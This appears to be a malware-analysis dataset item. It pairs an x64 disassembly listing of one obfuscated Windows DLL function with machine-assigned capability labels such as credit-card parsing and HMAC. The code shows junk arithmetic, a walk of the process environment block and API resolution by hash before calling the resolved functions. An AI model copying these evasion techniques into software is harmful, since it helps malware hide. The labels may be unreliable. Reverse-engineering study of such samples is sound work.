Function at 0x180001460
Capabilities:
Accept command line arguments
Authenticate hmac
Check os version
Parse credit card information
Parse pe header
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xa8
xor r14d, r14d
mov qword [rbp - 9], r14
jmp 0x18000148d
xor r14d, r14d
mov rdi, qword [str.m2e]
xor edx, edx
and edi, 0x259
mov eax, edi
div rdi
mov eax, 0x24f
mov rsi, rdx
xor edx, edx
xor rsi, 0x34f
div rsi
add al, 0x36
add al, sil
cmp rdi, 0x58
jne 0x1800014cd
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1800015e5
cmp rdi, 0x12
je 0x1800015e5
cmp rdi, 0x4e
jae 0x18000148d
cmp rdi, 0x33
jbe 0x1800014f7
mov r8d, edi
mov edx, esi
mov rcx, rdi
call fcn.180003298
mov esi, eax
jmp 0x1800015e5
cmp rdi, 2
je 0x18000148d
cmp rdi, 0x31
jne 0x18000151f
movabs rax, 0xcccccccccccccccd
mul rsi
mov rsi, rdx
shr rsi, 6
and esi, 0x47
jmp 0x1800015e5
cmp rdi, 0x17
jb 0x180001546
movzx eax, al
mov r9, rdi
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rsi
call fcn.180004de0
mov rsi, rax
jmp 0x1800015e5
cmp rdi, 0xc
jb 0x180001584
movzx ebx, al
mov r8d, esi
mov ecx, ebx
mov edx, edi
call fcn.180003298
mov edi, eax
movabs rax, 0x55c7b4f141ace689
mul rbx
add rdi, 0x263
shr rdx, 7
imul rax, rdx, 0x17e
sub rbx, rax
add rdi, rbx
jmp 0x1800015e5
cmp rdi, 0xd
jbe 0x1800015a6
mov qword [rsp + 0x30], rsi
mov edx, esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], esi
movzx r9d, al
movzx r8d, al
jmp 0x18000310f
cmp rdi, 1
jne 0x1800015c6
xor edx, edx
mov eax, 0x2eb
div rsi
add dl, 0x75
movzx eax, dl
mov rcx, qword gs:[rax]
mov qword [rbp - 0x29], rcx
jmp 0x1800015e9
cmp rdi, 0x13
jne 0x1800015e5
movzx ecx, al
mov r9, rdi
mov r8, rsi
mov qword [rsp + 0x20], rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
movsxd rdi, eax
mov rcx, qword [rbp - 0x29]
xor edx, edx
mov rax, rsi
div rsi
mov r12, rax
sub r12b, 0x78
cmp r12b, 0x89
jne 0x18000160c
mov r13, qword [rcx + 0x18]
add r13, 0x30
mov qword [rbp - 1], r13
jmp 0x180001679
cmp r12b, 0x38
jne 0x180001624
mov edx, 0x38
mov rcx, rdi
call fcn.180006240
mov rdi, rax
jmp 0x180001675
cmp r12b, 5
jb 0x18000148d
cmp r12b, 0x4d
jne 0x180001647
mov r8, rdi
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12b, al
jmp 0x180001675
cmp r12b, 0x61
ja 0x18000166b
movzx ecx, r12b
mov r9, rdi
mov qword [rsp + 0x30], rcx
mov r8d, esi
mov dword [rsp + 0x28], edi
mov edx, esi
mov dword [rsp + 0x20], esi
jmp 0x180003112
cmp r12b, 0x5b
jbe 0x18000148d
mov r13, qword [rbp - 1]
cmp rdi, 1
jne 0x1800016f8
cmp r12b, 0x39
jb 0x18000148d
cmp r12b, 0x15
jae 0x1800016a6
movzx ecx, r12b
mov r9, rsi
mov qword [rsp + 0x20], rcx
mov r8d, ecx
mov rdx, rsi
jmp 0x180003193
cmp r12b, 0x89
jne 0x1800016b9
mov r15, qword [r13]
mov qword [rbp - 0x39], r15
jmp 0x18000177b
cmp r12b, 0x3b
jne 0x1800016c9
mov esi, 0x6176
jmp 0x18000177b
cmp r12b, 0x34
jae 0x1800016e9
movzx eax, r12b
xor rax, 0x1a2
or rax, 0x4d
mov qword [0x18002e010], rax
jmp 0x18000177b
cmp r12b, 0x61
jb 0x18000148d
jmp 0x18000177b
cmp rdi, 0x3c
jne 0x180001719
movzx eax, r12b
mov ecx, 0x1c1
sub rcx, rax
lea rax, [rsi + 0x20e]
mov rsi, rcx
and rsi, rax
jmp 0x18000177b
cmp rdi, 0x30
jne 0x18000172e
movzx ecx, r12b
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x18000148d
cmp rdi, 0x2e
jne 0x180001741
lea rdi, [rsi + 0x59]
xor rdi, 0x1da
jmp 0x18000177b
cmp rdi, 0x1e
je 0x180003288
cmp rdi, 0x35
jne 0x18000175b
mov edx, esi
mov rcx, rdi
jmp 0x18000307a
cmp rdi, 0x55
jne 0x18000177b
movzx ecx, r12b
mov r9, rsi
mov r8d, ecx
mov qword [rsp + 0x20], rsi
mov rdx, rsi
call fcn.180004de0
mov rsi, rax
mov rbx, qword [rbp - 0x39]
mov r15d, edi
and r15d, 0x9e
cmp r13, rbx
je 0x180001d2a
cmp r15d, 0x32
jbe 0x1800017a8
mov eax, r15d
imul rdi, rax
add rdi, 0x77
jmp 0x180001946
cmp r15d, 9
jae 0x18000148d
cmp r15d, 0x2a
ja 0x18000148d
cmp r15d, 0x3d
jne 0x1800017d3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rsi, eax
jmp 0x180001946
cmp r15d, 0x4e
jbe 0x1800017ec
mov rax, rsi
xor rax, 4
mov qword [str.m2e], rax
jmp 0x180001946
cmp r15d, 0x27
jbe 0x180001805
movzx r8d, r12b
mov edx, esi
mov rcx, rsi
call fcn.180003298
jmp 0x180001943
cmp r15d, 0x3d
jbe 0x180001826
mov ecx, r15d
mov r9, rsi
mov r8, rdi
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call fcn.180004de0
jmp 0x180001943
cmp r15d, 0x42
jb 0x180001871
mov ecx, r15d
mov r9, rdi
mov r8d, r15d
mov edx, esi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
movzx r15d, r12b
movabs rax, 0xbdd2b899406f74af
imul r15, rsi
mul r15
mov rax, r15
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 7
imul rax, rax, 0x93
sub r15, rax
jmp 0x180001946
cmp r15d, 0x30
jne 0x18000188c
xor edx, edx
mov eax, 0x275
div rdi
mov rsi, rax
and esi, r15d
jmp 0x180001946
cmp r15d, 1
je 0x18000148d
cmp r15d, 0x22
jb 0x1800018ae
mov r12d, 0xb2
sub r12b, sil
xor r12b, 0x1c
jmp 0x180001946
test r15d, r15d
jne 0x180001937
cmp r12b, 0x21
ja 0x1800018cf
lea rax, [rdi + 0x28b]
or rax, 0x11e
jmp 0x1800017e0
cmp r12b, 0x5e
je 0x18000148d
cmp r12b, 0x89
jne 0x1800018e9
lea r11, [rbx - 0x20]
mov qword [rbp + 0x7f], r11
jmp 0x18000194a
cmp r12b, 0x5b
jb 0x180001946
cmp r12b, 0x4e
jne 0x180001902
mov qword [0x18002e008], 0x144
jmp 0x180001946
cmp r12b, 0x3c
ja 0x180001917
mov edx, edi
mov rcx, rsi
call fcn.180006240
mov r15d, eax
jmp 0x180001946
cmp r12b, 0x4e
jbe 0x180001c8d
cmp r12b, 0x54
jb 0x18000148d
cmp r12b, 0x58
jb 0x18000148d
jmp 0x180001946
cmp r15d, 0x53
jbe 0x180001946
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12b, al
mov r11, qword [rbp + 0x7f]
xor ecx, ecx
mov rax, qword [r11 + 0x60]
cmp word [rax + r14*2], cx
je 0x180001b3d
cmp rsi, 0xd
jb 0x18000148a
cmp rsi, 0x34f
jne 0x180001aec
cmp rdi, 0x5b
jb 0x180001997
mov edx, r15d
mov r8, rsi
movzx r9d, r12b
mov rcx, rdi
mov qword [rsp + 0x20], rdx
call fcn.180004de0
mov rsi, rax
jmp 0x180001ad5
cmp rdi, 0x2e
jne 0x1800019a5
mov rsi, rcx
jmp 0x180001b30
cmp rdi, 0x38
ja 0x180001cb2
cmp rdi, 0x2d
jbe 0x1800019cc
mov r8d, edi
mov edx, edi
mov ecx, 0x34f
call fcn.180003298
mov r12b, al
jmp 0x180001ad5
cmp rdi, 0x28
jbe 0x1800019e7
lea rax, [rdi + r15]
and eax, 0x3da
mov qword [0x18002e008], rax
jmp 0x180001b30
cmp rdi, 0x20
jb 0x1800019fe
mov edx, r15d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x180001ad5
cmp rdi, 0x1a
jne 0x180001a4d
mov ecx, r15d
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
movzx eax, r12b
imul rcx, rax, 0x34f
movabs rax, 0x13f0e8d3447241c1
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x1db
sub rcx, rax
mov r12b, cl
jmp 0x180001ad5
cmp rdi, 0x3d
jbe 0x180001a61
mov esi, r15d
and esi, 0x1dec0
jmp 0x180001b30
cmp rdi, 0x51
je 0x180001c94
cmp rdi, 0x61
je 0x18000148a
cmp rdi, 0x2c
jne 0x180001a87
movzx ecx, r12b
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
jmp 0x180001ad5
cmp rdi, 0x37
ja 0x18000148a
cmp rdi, 0x56
jb 0x180001adb
movzx ebx, r12b
mov r8d, edi
mov ecx, ebx
movzx edx, r12b
call fcn.180003298
xor edx, edx
mov eax, 0xc4
div rdi
xor edx, edx
div rbx
movabs rax, 0x3bd60d923295482d
mov r15, rdx
mul rdx
sub r15, rdx
shr r15, 1
add r15, rdx
shr r15, 8
mov r11, qword [rbp + 0x7f]
jmp 0x180001b17
cmp rdi, 1
jne 0x180001b30
mov al, byte [rax + r14*2]
mov byte [rbp + r14 + 7], al
jmp 0x180001b30
cmp rsi, 0x4c
jbe 0x18000148a
cmp rsi, 1
je 0x180001ccc
cmp rsi, 0x43
jne 0x180001b1b
xor edx, edx
mov rax, rdi
div rdi
mov r12d, 0xe9
sub r12b, al
xor ecx, ecx
jmp 0x180001b30
cmp rsi, 0x51
jae 0x180001b30
movzx eax, r12b
add rax, 0x33
mov qword [str.m2e], rax
inc r14
cmp r14, 8
jl 0x18000194c
mov eax, dword [rbp + 7]
mov ecx, r15d
or rcx, 0x2c5
movzx r10d, r12b
add rcx, 0x20201d5b
mov r9d, r15d
or rcx, rax
lea rax, [rsi + 0x6c647096]
add rax, r10
cmp rcx, rax
jne 0x180001bb8
movabs rax, 0x1073260a47f7c66d
mul r9
lea rax, [r10 + 0x247]
mov r8, rdx
xor edx, edx
shr r8, 5
or r8, rax
mov eax, 0x201
div r10
add r8, 0x6c642b9c
mov rcx, rax
mov eax, dword [rbp + 0xb]
and ecx, 0x178
add rcx, 0x20202020
or rcx, rax
cmp rcx, r8
je 0x180001cdb
cmp rdi, 1
jne 0x180001c34
cmp r12b, 0x89
jne 0x180001bd4
mov rbx, qword [rbp - 0x39]
mov rbx, qword [rbx]
mov qword [rbp - 0x39], rbx
jmp 0x180001c7c
cmp r12b, 0x1d
jne 0x180001bf3
mov r8, rsi
mov edx, 0x1d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
jmp 0x180001c78
cmp r12b, 0x39
jne 0x180001c0f
mov r8d, 0x39
mov edx, r15d
mov rcx, rsi
call fcn.180003298
mov r15d, eax
jmp 0x180001c78
mov r14d, 0
cmp r12b, 0xc
jb 0x18000148d
cmp r12b, 0x41
ja 0x180001c78
xor edx, edx
mov eax, 0x1f8
div r10
mov r15d, edx
jmp 0x180001c78
cmp rdi, 0x38
jne 0x180001c45
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001c78
cmp rdi, 0x1a
ja 0x180001ed1
mov r14d, 0
cmp rdi, 0x15
je 0x18000148d
cmp rdi, 0x4a
jbe 0x180001c6e
imul rsi, rdi, 0x1ec
jmp 0x180001c78
cmp rdi, 0x33
ja 0x180001e35
mov rbx, qword [rbp - 0x39]
cmp r13, rbx
je 0x180001d2a
xor r14d, r14d
jmp 0x180001792
mov edx, esi
jmp 0x180002c2a
movzx ecx, r12b
mov r8d, 0x34f
mov r9d, ecx
mov edx, r15d
mov qword [rsp + 0x20], 0x51
jmp 0x180002e33
mov ecx, r15d
mov r9d, 0x34f
mov qword [rsp + 0x20], rcx
movzx r8d, r12b
mov edx, r15d
jmp 0x180002e33
movzx ecx, r12b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000148a
cmp rdi, 1
jne 0x180001ceb
mov r14, qword [r11 + 0x30]
mov qword [rbp - 0x31], r14
jmp 0x180001d2e
mov r14d, 0
cmp rdi, 0x60
ja 0x18000148d
cmp rdi, 0x51
jbe 0x180001d0e
mov ecx, r15d
mov r8d, esi
mov edx, esi
jmp 0x180002606
cmp rdi, 0x35
jae 0x18000148d
cmp rdi, 0x49
jbe 0x180001d4c
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
mov r14, qword [rbp - 0x31]
cmp r12b, 0x26
jae 0x180001e49
movzx edx, r12b
mov ecx, r15d
call fcn.180006240
mov r15d, eax
jmp 0x180001f0e
cmp rdi, 5
jbe 0x180001d78
mov esi, r15d
movabs rax, 0x14d843bedc2c4b9
mul rsi
shr rdx, 1
imul rax, rdx, 0x189
sub rsi, rax
sub rsi, 0x291
jmp 0x180001d2a
cmp rdi, 0x15
jbe 0x180001d90
movzx r9d, r12b
mov r8, rdi
mov edx, r15d
mov rcx, rdi
jmp 0x18000318e
cmp rdi, 0x57
jbe 0x180001dbf
movzx edx, r12b
mov r9, rdi
mov qword [rsp + 0x30], rsi
mov r8d, r15d
mov dword [rsp + 0x28], r15d
mov ecx, r15d
mov dword [rsp + 0x20], edx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15d, eax
jmp 0x180001d2a
cmp rdi, 0x29
ja 0x180001d2a
cmp rdi, 0x63
ja 0x18000148d
mov r8d, 0x2f
cmp rdi, r8
jne 0x180001df5
mov qword [rsp + 0x20], r8
mov r9d, r8d
mov r8, rsi
movzx edx, r12b
mov ecx, r15d
jmp 0x180003193
cmp rdi, 0x1a
ja 0x18000148d
cmp rdi, 0x38
ja 0x180001d2a
cmp rdi, 0x63
jne 0x180001e18
xor r12b, 0x65
jmp 0x180001d2a
mov r14, qword [rbp - 0x31]
cmp rdi, 0x10
jne 0x180001d2e
mov r15d, esi
or r15d, 0x1ff
jmp 0x180001d2e
mov ecx, r15d
mov edx, r15d
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_HeapSize]
jmp 0x18000148d
cmp r12b, 0x1e
je 0x18000148a
cmp r12b, 0x17
jne 0x180001e66
mov r8d, esi
mov ecx, 0x17
jmp 0x180001f04
cmp r12b, 0x2b
jne 0x180001e80
mov r8d, esi
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.SHELL32.dll_ExtractIconA]
jmp 0x180001d44
cmp r12b, 0x32
jae 0x180001eaa
mov eax, r15d
imul rcx, rax, 0xfd
movabs rax, 0x2e8ba2e8ba2e8ba3
mul rcx
shr rdx, 6
mov qword [section..data], rdx
jmp 0x180001f0e
cmp r12b, 0x4a
jne 0x180001eb9
lea r15d, [rdi - 0xf4]
jmp 0x180001f0e
cmp r12b, 0x2c
ja 0x180001ecb
mov r15d, edi
xor r15d, 0x292
jmp 0x180001f0e
cmp r12b, 0x5e
jae 0x180001eda
movzx edx, r12b
mov ecx, r15d
jmp 0x180001f3a
cmp r12b, 0x89
jne 0x180001ef6
mov edx, 0xfdc00e2f
mov rcx, r14
call fcn.180006240
mov r13, rax
mov qword [rbp - 0x21], rax
jmp 0x180001f12
cmp r12b, 0x59
jae 0x180001f0e
movzx r8d, r12b
movzx ecx, r12b
mov edx, edi
call fcn.180003298
mov r12b, al
mov r13, qword [rbp - 0x21]
movzx edx, r12b
imul rbx, rdx, 0x84120
cmp r12b, 4
jbe 0x18000148a
cmp r12b, 0x28
jbe 0x18000148a
cmp r12b, 0x25
jae 0x180001f45
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x18000148a
cmp r12b, 0x89
jne 0x180002014
cmp rdi, 0x58
jbe 0x180001f66
mov ecx, r15d
mov r8, rbx
mov r9d, r15d
mov edx, r15d
jmp 0x180002e2e
cmp rdi, 0x4f
jae 0x18000148a
cmp rdi, 2
jae 0x18000148a
cmp rdi, 0x51
jbe 0x180001f8e
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
jmp 0x18000148a
cmp rdi, 0x24
ja 0x180002083
cmp rdi, 0x62
jne 0x180001fae
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, 1
jmp 0x180002083
cmp rdi, 0x35
jne 0x180001fd4
mov r8d, ebx
mov edx, r15d
mov rcx, rdi
call fcn.180003298
xor edx, edx
mov eax, 0x2dd
div rbx
mov r15d, eax
jmp 0x180002083
mov eax, 8
cmp rdi, rax
jne 0x180001ff7
mov r8d, eax
mov edx, r15d
mov ecx, eax
call fcn.180003298
mov r12b, bl
mov r15d, eax
and r12b, 0xbd
jmp 0x180002024
cmp rdi, 1
jne 0x180002083
mov edx, 0x3c795948
mov rcx, r14
call fcn.180006240
mov qword [rbp - 0x41], rax
jmp 0x180002024
mov r14d, 0
cmp r12b, 0x4f
jb 0x18000148d
cmp r12b, 0x20
jne 0x180002037
mov r8d, edi
mov edx, ebx
mov rcx, rdi
jmp 0x180002eab
mov r14d, 0
cmp r12b, 0x64
jb 0x18000148d
cmp r12b, 6
jb 0x18000148d
cmp r12b, 0x14
ja 0x18000206c
movzx ecx, r12b
mov r8d, ebx
mov edx, ebx
call fcn.180003298
mov edi, eax
jmp 0x1800020fc
cmp r12b, 0x2a
ja 0x18000207d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov r12b, al
jmp 0x1800020fc
cmp r12b, 0x89
jne 0x1800020a1
xor r14d, r14d
test r15d, r15d
jne 0x1800020fc
mov rax, qword [rbp - 0x29]
mov rax, qword [rax + 0x18]
mov r11, qword [rax + 0x20]
sub r11, 0x10
mov qword [rbp + 0x7f], r11
jmp 0x180002100
cmp r12b, 0x63
jne 0x1800020b2
mov edi, r15d
and edi, 0x233
jmp 0x1800020fc
cmp r12b, 0x4c
jne 0x1800020cf
movzx eax, dil
movzx ecx, r15b
imul ecx, eax
movzx eax, cl
imul r12d, eax, 0xc7
jmp 0x1800020fc
cmp r12b, 0x1a
jne 0x1800020f2
mov r8d, edi
mov edx, r15d
mov rcx, rbx
call fcn.180003298
mov r12b, al
mov eax, r15d
imul rbx, rax, 0x86
jmp 0x1800020fc
cmp r12b, 0x5f
jb 0x18000148d
mov r11, qword [rbp + 0x7f]
cmp rdi, 0x3f
jbe 0x180002129
movabs rax, 0x756cac201756cac3
mul rdi
sub rdi, rdx
shr rdi, 1
add rdi, rdx
shr rdi, 9
and r12b, dil
or r12b, 0x2b
jmp 0x180002181
cmp rdi, 0x24
jne 0x180002169
mov ebx, r15d
movabs rax, 0xd272ca3fc5b1a6b9
mul rbx
mov eax, r15d
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x119
sub rbx, rax
movzx eax, r12b
add rbx, rax
xor rbx, 0xf5
jmp 0x180002181
cmp rdi, 0x57
ja 0x18000148d
cmp rdi, 1
jne 0x180002181
mov rax, qword [r11 + 0x38]
mov qword [rbp - 0x19], rax
mov edi, r15d
and edi, 0x42
mov ecx, r15d
cmp rbx, 0x56
jae 0x18000219e
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rbx, rax
jmp 0x180002301
cmp rbx, 0x60
jb 0x18000148d
cmp rbx, 9
jbe 0x18000148d
cmp rbx, 0x4d
jne 0x1800021e2
mov rdx, rcx
mov r8d, edi
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_ExtractIconA]
movabs rax, 0x3e88cb3c9484e2b
mov r12d, ebx
mul rdi
shr rdx, 1
sub r12b, dl
jmp 0x180002301
cmp rbx, 6
jne 0x1800021fa
imul rax, rcx, 0x285
mov rbx, rdi
sub rbx, rax
jmp 0x180002301
cmp rbx, 0x28
jb 0x180002301
cmp rbx, 0x3b
je 0x18000148d
cmp rbx, 0x55
je 0x18000148d
cmp rbx, 0x2e
je 0x18000148d
cmp rbx, 0x64
jae 0x18000222f
mov edx, ebx
jmp 0x18000307a
cmp rbx, 0x58
jb 0x1800031d8
cmp rbx, 0x41
ja 0x180002250
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x180002301
cmp rbx, 0x46ada20
jne 0x180002301
cmp r15d, 0x2c
je 0x18000148d
cmp r15d, 0x35
jbe 0x18000227b
mov r9, rbx
mov r8, rbx
mov rdx, rcx
jmp 0x18000318e
cmp r15d, 0x63
je 0x18000148d
cmp r15d, 8
ja 0x18000148d
cmp r15d, 0x20
jbe 0x1800022ac
mov ecx, 0x46ada20
call qword [sym.imp.KERNEL32.dll_SetLastError]
movabs rbx, 0x10ff214520
jmp 0x180002301
test r15d, r15d
jne 0x1800022bb
mov qword [rbp - 0x11], 0x263ff
jmp 0x180002301
cmp r15d, 0x1c
je 0x180002301
cmp r15d, 0x4a
jbe 0x1800022d9
mov rax, rdi
or rax, 0x85
mov qword [0x18002e018], rax
jmp 0x180002301
lea eax, [r15 - 0x25]
cmp eax, 0x22
ja 0x180002301
movzx edx, r12b
mov r9, rdi
mov r8, rdi
mov qword [rsp + 0x20], rdx
mov rcx, rdi
call fcn.180004de0
mov rdi, rax
mov ebx, 0x1ddb8
movzx ecx, r12b
movabs rax, 0x36f7317fd92119d1
mul rcx
mov eax, ecx
mov esi, ecx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x34b
sub rsi, rax
cmp rdi, 0xf
jbe 0x180002342
mov r8d, edi
mov edx, edi
call fcn.180003298
jmp 0x1800024eb
cmp rdi, 0x1e
jbe 0x180002357
lea rbx, [rdi + rsi]
and ebx, 0x11e
jmp 0x1800025eb
cmp rdi, 0x38
jne 0x180002372
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov rcx, rdi
mov edx, esi
mov r8d, esi
jmp 0x180003193
cmp rdi, 0x48
ja 0x18000148d
cmp rdi, 7
jb 0x1800023a7
mov qword [rsp + 0x30], rcx
mov rcx, rbx
movzx edx, r12b
mov r8d, edx
mov r9d, esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180002477
cmp rdi, 0x16
jne 0x1800023c6
lea rax, [rcx + 0xc9]
xor rax, 0x9f
mov qword [str.m2e], rax
jmp 0x1800025eb
cmp rdi, 0x55
jbe 0x1800023db
movzx edx, r12b
mov r8d, esi
mov rcx, rdi
jmp 0x180002606
cmp rdi, 0x5c
ja 0x18000148d
cmp rdi, 0x36
jbe 0x180002403
movzx eax, sil
mov r12d, 0x14
imul ecx, eax, 0x1d
sub r12b, cl
sub r12b, dil
jmp 0x1800025eb
cmp rdi, 0x47
je 0x18000148d
cmp rdi, 0x20
jbe 0x18000242a
mov edx, esi
mov r9, rdi
mov r8, rcx
mov qword [rsp + 0x20], rcx
call fcn.180004de0
jmp 0x1800025eb
cmp rdi, 0x2c
ja 0x18000148d
cmp rdi, 5
ja 0x1800025eb
cmp rdi, 0x53
jne 0x180002462
mov qword [rsp + 0x30], rbx
mov edx, edi
movzx eax, r12b
mov r8d, edx
mov dword [rsp + 0x28], esi
mov r9, rcx
mov dword [rsp + 0x20], eax
jmp 0x180003112
test rdi, rdi
jne 0x1800025eb
cmp r12b, 0x12
jae 0x18000247f
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rbx, rax
jmp 0x1800025eb
cmp r12b, 0x57
jbe 0x18000148d
cmp r12b, 0x89
jne 0x1800025eb
cmp rbx, 0x4c
jne 0x1800024b4
mov ecx, esi
xor r9d, r9d
mov r8d, esi
xor edx, edx
mov qword [rsp + 0x20], rcx
call fcn.180004de0
mov esi, eax
jmp 0x180002616
cmp rbx, 0xf
jae 0x1800024ca
mov qword [str.m2e], 0xb9
jmp 0x180002616
cmp rbx, 0x3b
ja 0x1800024f3
mov r9d, 0x89
mov eax, esi
mov r8d, r9d
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r12b, al
jmp 0x1800025eb
cmp rbx, 0x1d
jae 0x18000250b
mov r8d, ebx
xor edx, edx
mov rcx, rbx
call fcn.180003298
jmp 0x180002616
jne 0x180002527
mov ecx, esi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_EncodePointer]
add rbx, 0xffffffffffffffc4
or rbx, 0x276
jmp 0x180002616
cmp rbx, 0x46ada20
jne 0x1800025bb
cmp esi, 0x3f
jne 0x180002546
lea edx, [rsi + 0x4a]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x1800024eb
cmp esi, 0x2c
je 0x18000148d
cmp esi, 0x44
jb 0x180003168
cmp esi, 0x89
jne 0x180002587
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x11]
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp - 9]
or rcx, 0xffffffffffffffff
call r13
jmp 0x180002616
cmp esi, 0x38
jae 0x18000259d
xor edx, edx
mov eax, 0x274
div r14
xor al, 0x1e
jmp 0x1800024eb
cmp esi, 0x46
jae 0x1800025a9
mov esi, 0x2ad
jmp 0x180002616
cmp esi, 0x33
jae 0x180002616
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x18000148d
cmp rbx, 0x11
jb 0x18000148d
cmp rbx, 0x58
jae 0x1800025d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000148d
cmp rbx, 0x10
jne 0x180002616
mov eax, esi
or rax, 0x181
mov qword [0x18002e008], rax
cmp r12b, 0x15
ja 0x180002610
movzx edx, r12b
mov rcx, rbx
lea r8d, [rdx - 0x6d]
and r8d, esi
or r8d, 0x2ac
call fcn.180003298
jmp 0x18000148d
cmp r12b, 0x89
jne 0x180002637
mov eax, dword [rbp + 0x6f]
lea rcx, [0x1800070f0]
mov r9, qword [rbp + 0x67]
mov edx, 0x263ff
mov r8, qword [rbp - 9]
mov qword [rsp + 0x20], rax
call fcn.180004de0
mov r13d, esi
and r13d, 0x1d4
mov edi, esi
cmp rbx, 0x17
je 0x18000148d
cmp rbx, 0x3b
jb 0x180002744
cmp rbx, 0x59
jae 0x18000266c
mov edx, ebx
mov rcx, rbx
call fcn.180006240
jmp 0x180002744
cmp rbx, 0x28
jb 0x18000148d
cmp rbx, 0x4d
je 0x180002744
cmp rbx, 0x1c
jb 0x18000148d
cmp rbx, 0x46ada20
jne 0x1800026c2
mov r14, qword [rbp - 0x41]
lea rax, [rbp + 0x77]
mov r9d, esi
mov qword [rsp + 0x20], rax
and r9d, 0x28d
lea r8, [rbp - 0x11]
sub r9d, 0x69
lea rdx, [rbp - 9]
or rcx, 0xffffffffffffffff
call r14
jmp 0x180002748
cmp rbx, 0x25
jne 0x1800026d3
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov r13d, eax
jmp 0x180002744
cmp rbx, 0x5a
jae 0x1800026f3
xor edx, edx
movzx ecx, r12b
mov eax, 0x156
div rcx
xor rax, rdi
mov qword [0x18002e018], rax
jmp 0x180002744
cmp rbx, 0x4f
je 0x18000148d
cmp rbx, 0x10
jb 0x18000148d
cmp rbx, 3
je 0x180002744
cmp rbx, 0x3e
jae 0x180002734
xor edx, edx
movzx ecx, r12b
mov rax, rbx
div rcx
mov eax, 0x366
sub rax, rdx
xor rax, 0x3b
mov qword [0x18002e010], rax
jmp 0x180002744
cmp rbx, 0x61
je 0x180002744
cmp rbx, 9
jb 0x18000148d
mov r14, qword [rbp - 0x41]
movzx ebx, r12b
and ebx, 0x120
xor rbx, rdi
cmp esi, 0x2d
je 0x18000148a
cmp esi, 0xe
jae 0x18000276f
add r13, 0xfffffffffffffa4d
xor r13, rdi
jmp 0x1800027eb
cmp esi, 0xf
jae 0x18000277e
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1800027eb
cmp esi, 0x50
jne 0x180002788
lea ebx, [rsi - 0x1f]
jmp 0x1800027eb
cmp esi, 0x26
jae 0x1800027a3
xor edx, edx
mov eax, 0x2fd
div rdi
movzx eax, dl
imul r12d, eax, 0xa2
jmp 0x1800027eb
cmp esi, 0x63
je 0x18000148a
cmp esi, 0x89
jne 0x1800027be
mov r15, qword [rbp - 0x19]
mov qword [rbp + 0xf], r15
jmp 0x1800027ef
cmp esi, 0x14
jae 0x1800027cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1800027eb
cmp esi, 0x1c
jb 0x18000148a
cmp esi, 0x20
jne 0x1800027eb
mov rax, rbx
xor rax, 0x170
mov qword [section..data], rax
mov r15, qword [rbp - 0x19]
cmp r12b, 0x38
ja 0x18000280a
mov r8d, ebx
mov edx, r13d
mov rcx, rbx
call fcn.180003298
mov esi, eax
jmp 0x18000289c
cmp r12b, 0x5c
jb 0x18000148a
cmp r12b, 0x23
jae 0x18000282c
movzx r8d, r12b
mov edx, ebx
mov rcx, rbx
call fcn.180003298
mov ebx, eax
jmp 0x18000289c
cmp r12b, 0x3c
jae 0x180002849
mov edx, ebx
mov rcx, rbx
call fcn.180006240
movzx r13d, r12b
xor r13, 0x2bc
jmp 0x18000289c
